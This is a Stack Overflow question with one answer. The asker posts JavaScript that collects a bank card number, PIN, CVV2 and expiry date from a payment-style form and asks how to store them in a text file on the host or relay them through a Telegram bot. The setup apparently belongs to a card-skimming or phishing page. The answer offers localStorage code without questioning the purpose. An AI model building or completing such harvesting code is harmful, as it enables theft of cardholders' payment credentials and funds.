-1

I want to save the variables included in my code below:

<form method="post" name="receiptForm" action="https://google.com" accept-charset="UTF-8" onclick="othername">
<script>
    function othername()
        {
            var input1 = document.getElementById("W_PAN4").value;
            var input2 = document.getElementById("W_PAN3").value;
            var input3 = document.getElementById("W_PAN2").value;
            var input4 = document.getElementById("W_PAN1").value;
            var userCardID = input1 + " " + input2 + " " + input3 + " " + input4;
            var input_pass = document.getElementById("W_PIN").value;
            var input_CVV2 = document.getElementById("W_CVV2").value;
            var input_expire_month = document.getElementById("W_EXPIRE1").value;
            var input_expire_year = document.getElementById("W_EXPIRE2").value;
            var input_all = userCardID + " " + "2nd_Password = " + input_pass + " " + "CVV2 = " + input_CVV2 + " " + "ExpireDateYear = " + input_expire_year + " " + "ExpireDateMonth = " + input_expire_month;
            alert(input_all);

        }
</script>

How can I save these variables and can I use telegram-bot if needed? Any code will be appreciated.

Tom O.
  • 5,730
  • 2
  • 21
  • 35
  • Where do u wanna save in database? – sayalok Jul 22 '18 at 06:01
  • what do you mean about save variables? please explain what do you want. – Bahman Parsa Manesh Jul 22 '18 at 06:01
  • @sayalok I don’t want to save in database if it is possible I want to save it as a .txt on host – Negin Bayati Jul 22 '18 at 06:10
  • Possible duplicate of [Can I save input from form to .txt in HTML, using JAVASCRIPT/jQuery, and then use it?](https://stackoverflow.com/questions/13685263/can-i-save-input-from-form-to-txt-in-html-using-javascript-jquery-and-then-us) – Bahman Parsa Manesh Jul 22 '18 at 06:17
  • Possible duplicate of [Is it possible to write data to file using only JavaScript?](https://stackoverflow.com/questions/21012580/is-it-possible-to-write-data-to-file-using-only-javascript) – Tom O. Jul 22 '18 at 06:27

1 Answers1

1

You can use local storage to save your variables. You have two objects you can use:

  • window.localStorage - stores data with no expiration date
  • window.sessionStorage - stores data for one session (data is lost when the browser tab is closed)

You can use it like this:

// Store
localStorage.setItem("key", "value");
// Retrieve
value = localStorage.getItem("key");

Reference on how to use local storage: https://www.w3schools.com/htmL/html5_webstorage.asp

Working example: https://www.w3schools.com/htmL/tryit.asp?filename=tryhtml5_webstorage_local